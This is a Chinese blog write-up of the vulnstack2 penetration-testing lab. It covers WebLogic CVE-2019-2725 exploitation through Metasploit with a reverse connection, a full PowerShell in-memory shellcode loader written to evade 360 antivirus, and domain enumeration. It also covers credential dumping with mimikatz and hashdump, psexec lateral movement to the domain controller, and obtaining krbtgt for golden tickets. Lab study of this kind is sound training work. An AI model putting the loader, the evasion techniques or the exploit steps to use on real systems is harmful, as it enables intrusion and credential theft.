vulnstack2靶场笔记

vulnstack2

环境搭建

WEB服务器:NAT+内网环境

PC:NAT+内网环境

DC:仅内网

需要在虚拟网络编辑器设置NAT模式子网ip为192.168.111.0

最后需要使用账号de1ay\administrator和密码1qaz@WSX登录到WEB.de1ay.com,会要求改密码,改成1qaz@WSXC,进入到C:\Oracle\Middleware\user_projects\domains\base_domain\bin目录,双击startWebLogic批处理脚本,启动WebLogic。

找入口点

先进行网段扫描

1
nmap -sn 192.168.111.0/24

看到两台之前不在此网段的机器

192.168.111.80是WEB服务器,先对他进行端口扫描

看到开放了1433和7001端口,7001端口运行WebLogic服务

访问http://192.168.111.80/也可以看到只是一个空页面,没有什么功能,打开时都没有加载js文件

使用WebLogicScan扫描一下

msf中存在CVE-2019-2725的利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf6 > search cve-2019-2725

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 c 2019-04-23 excellent Yes Oracle Weblogic Server Deserialization RCE - AsyncResponseService
1 \_ target: Unix . . . .
2 \_ target: Windows . . . .
3 \_ target: Solaris . . . .


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
After interacting with a module you can manually set a TARGET with set TARGET 'Solaris'
1
2
3
4
5
6
7
8
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set RHOST 192.168.111.80
set RPORT 7001
set TARGETURI /_async/AsyncResponseService
set LHOST 192.168.111.128
set LPORT 4444
set target 1
run

成功上线一个session

上线cs

现在把他在cs上线

本来是想利用powershell加载远程服务器脚本,但是一直显示Unableconnect

执行了一下tasklist命令,发现有360杀毒软件进程

1
2
3
4
5
360Tray.exe (PID: 3144):360 安全卫士的主程序。

ZhuDongFangYu.exe (PID: 268):360 主动防御模块。

360CleanHelper.exe (PID: 1788):360 清理助手。

主动防御进程较难终止,我们尝试一下上传木马绕过

尝试了很多方法,最后用cs生成了raw格式的bin文件,使用kali将文件内容用base64编码,编写一个powershell可执行脚本,使用msf上传后执行成功

payload->payload generator(stageless)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$code = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru

# 你的 p.bin Base64 字符串填在这里
$base64String = "你的BASE64字符串"
$shellcode = [System.Convert]::FromBase64String($base64String)

$size = $shellcode.Length
$addr = $winFunc::VirtualAlloc(0, $size, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $size)

$winFunc::CreateThread(0, 0, $addr, 0, 0, 0)

这个木马不能使用分段下载,会被360拦截

上线成功,getsystem得到system权限

收集域信息

shell ipconfig /all

DNS一般指向域控,我们这里看到内网DNS服务器是10.10.10.10

查看域内账户

shell net user /domain

管理员组

shell net group “domain admins” /domain

查找域内主机

shell net group “domain computers” /domain

查找域控制器

shell net group “domain controllers” /domain

ping不完整主机名确定一下域控ip地址

ping DC

arp探测一下,发现域内另一台主机

shell arp -a

获取凭证

直接运行hashdump获取用户凭证,360并没有拦截

再run mimikatz

最后在View -> Credentials可以看到明文和hash的用户名和密码

横向移动

需要有用户凭证才能高效横向移动(域管理员的凭证一般在每台域内主机上都可以用作登录凭证)

先配置内网SMB监听器

扫描内网机器和常用端口

portscan 10.10.10.0/24 445,3389,80,135,139 icmp 100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[05/07 16:53:03] [+] received output:
(ICMP) Target '10.10.10.10' is alive. [read 8 bytes]

[05/07 16:53:06] [+] received output:
(ICMP) Target '10.10.10.80' is alive. [read 8 bytes]

[05/07 16:53:19] [+] received output:
10.10.10.80:3389
10.10.10.80:139
10.10.10.80:135
10.10.10.80:80
10.10.10.10:3389
10.10.10.10:139
10.10.10.10:135

[05/07 16:53:29] [+] received output:
10.10.10.10:445 (platform: 500 version: 6.3 name: DC domain: DE1AY)
10.10.10.80:445 (platform: 500 version: 6.1 name: WEB domain: DE1AY)

看到两台主机都开了135和445端口

由于网络配置有问题,101010.201无法与其他两台主机互通

现在直接使用psexec对DC jump

上线成功

直接使用hashdump获得krbtgt的用户凭据,可以制作黄金票据

知识点

为什么上传ps1脚本能成功运行且回连

  1. 绕过了“文件落地”的黑名单扫描
  • EXE 加载器的问题:像 c.exe 这种文件,由于它是独立的可执行程序,360 会在它落地的瞬间扫描它的文件头(PE Header)、哈希值和导入表。如果这个工具被收录过,或者它的签名不可信,360 会直接拦截。
  • PowerShell 的优势:你上传的是一个 .ps1 脚本,本质上是一个文本文件。360 对文本文件的静态查杀强度远低于二进制 EXE。脚本中的 Shellcode 以 Base64 字符串形式存在,在静态扫描看来只是一串“乱码”,无法直接匹配到病毒特征。
  1. 借用了“白名单进程”的身份
  • powershell.exe 是 Windows 系统自带的合法的、带有微软签名的程序。
  • 当你运行脚本时,真正申请内存、执行指令的进程是 powershell.exe。360 很难直接封杀这个进程,因为它也是很多系统管理任务的基础。相比于一个来路不明的 c.exepowershell.exe 拥有更高的默认信任等级
  1. 内存加载(Fileless)的隐蔽性
  • 传统方式:加载器通常会创建新进程或注入其他进程。这些动作(OpenProcessCreateRemoteThread)是 360 主动防御监控的重灾区。
  • PowerShell 方式:脚本通过 .NET 接口调用 Win32 API(如 VirtualAlloc),直接在当前 PowerShell 进程自己的内存空间里开辟地方并运行。
  • 这种“自加载”行为不涉及跨进程操作,对于安全软件来说,识别“一个合法进程在自己家里干坏事”要比识别“一个进程去干扰另一个进程”难得多。
  1. 动态解析与执行
  • PowerShell 脚本是在运行时动态解析的。360 的 AMSI(反恶意软件扫描接口)虽然会检查脚本内容,但它主要针对已知的恶意代码片段。
  • 你使用的 Add-Type 方式动态定义了 API 调用,这种灵活的编程方式让杀软很难通过简单的过滤规则拦截所有变种。

内网穿透的本质(SMB监听器和psexec)

1.为什么要配置 SMB 监听器?(内网穿透的本质)

在内网渗透中,你拿下的第一台 WEB 靶机(10.10.10.80)通常是唯一能和外界(你的云服务器)通信的机器。域内其他机器(如域控 10.10.10.10)往往处于“断网”状态。

  • 传统 HTTP/DNS 监听器:要求目标机器主动向外发请求。因为域控不出网,它发出的请求会被路由器拦死。
  • SMB 监听器 (Bind Pipe):它采用的是“被动等待”模式。它在目标机器上建立一个“命名管道(Named Pipe)”。你的 WEB 靶机通过内网 SMB 协议主动去连接这个管道。
  • 流量走势云服务器 <–> WEB 靶机 <–> SMB 管道 <–> 域控

2.445 端口没开,还能 Jump 吗?

答案是:不能直接用 psexec 类的 Jump,但可以换其他姿势。

jump psexec 系列命令的本质是利用 SMB 协议将一个服务程序拷贝到目标的 ADMIN$ 共享(也就是 C:\Windows\),然后通过 RPC 远程启动它。如果 445 端口关了,这条路就彻底堵死了。

替代方案:

  • WMI (135 端口):如果对方开了 135 端口,你可以尝试 jump wmi。它不依赖 SMB 共享,而是通过 Windows 管理工具接口执行命令。
  • WinRM (5985/5986 端口):这是现代 Windows 远程管理的标准。如果目标开启了 PowerShell 远程管理,你可以用 jump winrm
  • RDP (3389 端口):如果你已经有了账号密码,可以直接通过 SOCKS 代理远程登录桌面。

3.如何判断能不能直接 Jump?

Targets 视图里看到 IP 后,最稳妥的动作是先进行一次针对性的端口探测:

Bash

1
2
# 探测目标的 135, 445, 5985 端口
portscan 10.10.10.10 135,445,5985 tcp 100
  • 445 Open:恭喜,直接用 jump psexec 配 SMB 监听器,这是最稳的。
  • 135 Open, 445 Closed:尝试 jump wmijump wmi64
  • 全部 Closed:说明对方防火墙极其严格。你可能需要寻找该机器上运行的其他服务(如 Web 漏洞)来切入,或者利用已经拿下的用户进行“令牌窃取”。

总结

感觉这个靶场最难的地方是绕过360上线cs,其他地方没有什么比较特别的东西,用cs集成模块和msf的漏洞利用模块就可以直接getshell


vulnstack2靶场笔记
http://huang-d1.github.io/2026/05/04/vulnstack2/
作者
huangdi
发布于
2026年5月4日
许可协议